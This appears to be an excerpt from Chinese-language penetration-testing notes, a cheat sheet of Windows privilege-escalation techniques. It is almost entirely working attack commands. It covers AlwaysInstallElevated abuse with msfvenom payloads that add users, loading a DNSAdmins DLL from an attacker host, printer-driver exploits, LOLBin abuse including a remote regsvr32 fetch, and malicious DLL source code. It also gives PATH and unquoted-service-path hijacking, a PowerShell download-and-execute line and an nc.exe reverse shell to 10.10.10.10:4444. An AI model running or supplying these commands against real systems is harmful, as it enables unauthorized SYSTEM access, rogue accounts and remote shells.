完整20w字笔记: 夸克网盘分享
AlwaysInstallElevated提权
>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
PS > Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
PS > Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
为1 检测是否永远以高权限启动安装
#HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
新建DWORD32 DisableMSI=0
>msfvenom -p windows/adduser USER=msi PASS=pass@123 -f msi -o /root/add.msi
>msfvenom -p windows/adduser USER=msi PASS=pass@123 -f msi-nouac -o /root/add.msi
>upload /root/add.msi c:\\1.msi
>msiexec /quiet /qn /i c:\1.msi
MSF
>use exploit/windows/local/always_install_elevated
>set session 1
PowerUp
Get-RegistryAlwaysInstallElevated,Write-UserAddMSI
从administrator到system
>PsExec.exe -i -s cmd.exe
DNS组到DomainAdmin
DNSAdmins 组的成员可以加载具有 dns.exe (SYSTEM) 权限的任意 DLL。
需要权限才能重新启动 DNS 服务。
枚举 DNSAdmins 组的成员
>Get-NetGroupMember -GroupName "DNSAdmins"
>Get-ADGroupMember -Identity DNSAdmins
更改 DNS 服务加载的 dll
使用RSAT
>dnscmd <servername> /config /serverlevelplugindll \\attacker_IP\dll\mimilib.dll
>dnscmd 10.10.10.11 /config /serverlevelplugindll \\10.10.10.10\exploit\privesc.dll
使用DNSServer模块
$dnsettings = Get-DnsServerSetting -ComputerName <servername> -Verbose -All
$dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName <servername> -Verbose
检查上一条命令是否成功
>Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
重新启动 DNS
>sc \\dc01 stop dns
>sc \\dc01 start dns
打印机漏洞
https://github.com/jacob-baines/concealed_position
CVE-2021-35449 - Lexmark 通用打印驱动程序 LPE
CVE-2021-38085 - 佳能 TR150 打印驱动程序 LPE
CVE-2019-19363 - Ricoh PCL6 打印驱动程序 LPE
CVE-2020-1300 - Windows 打印后台处理程序 LPE
cp_server.exe -e ACIDDAMAGE
获取打印机
设置“高级共享设置”->“关闭密码保护共享”
cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE
不安全的GUI应用程序
作为 SYSTEM 运行的应用程序允许用户生成 CMD 或浏览目录。
示例:“Windows 帮助和支持”(Windows + F1),搜索“命令提示符”,点击“单击打开命令提示符”
本机文件和脚本
https://lolbas-project.github.io/
LOLBin/Lib/脚本
必须是 Microsoft 签名的文件,可以是操作系统的本机文件,也可以是从 Microsoft 下载的文件。
具有对 APT 或红队有用的功能
>wmic.exe process call create calc
>regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
>Microsoft.Workflow.Compiler.exe tests.xml results.xml
WSL子系统
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
bash文件
bash.exe也可以在C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
或者,探索WSL的文件系统
C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
DLL劫持
以管理员/SYSTEM 身份运行且文件权限不正确的服务可能允许提权。可以替换文件,重新启动服务并获取系统权限。
查找缺少的 DLL
- Find-PathDLLHijack PowerUp.ps1
- Process Monitor : check for "Name Not Found"
编译一个恶意 dll
- For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
- For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
windows_dll.c的内容
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
ExitProcess(0);
}
return TRUE;
}
环境变量优先
要求:
PATH 包含一个低权限的可写文件夹。
可写文件夹位于包含合法二进制文件的文件夹之前。
列出PATH环境变量的内容
例子: C:\Program Files\nodejs\;C:\WINDOWS\system32
PS >$env:Path
查看目标文件夹的权限
例子: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"
将而已文件放在那个文件夹中
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
在本例中“C:\Program Files\nodejs”在 PATH 变量上的“C:\WINDOWS\system32”之前,所以下次用户运行“cmd.exe”时,nodejs 文件夹中的恶意版本将运行,而不是 system32 文件夹中的合法运行。
激活guest
>net user guest /active:yes
未引用的服务路径
>wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
>wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """
>gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
MSF
>use exploit/windows/local/trusted_service_path
>set session 1
PowerUp
发现存在漏洞的应用
C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks"
...
[*] Checking for unquoted service paths...
ServiceName : BBSvc
Path : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>
...
自动攻击
Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"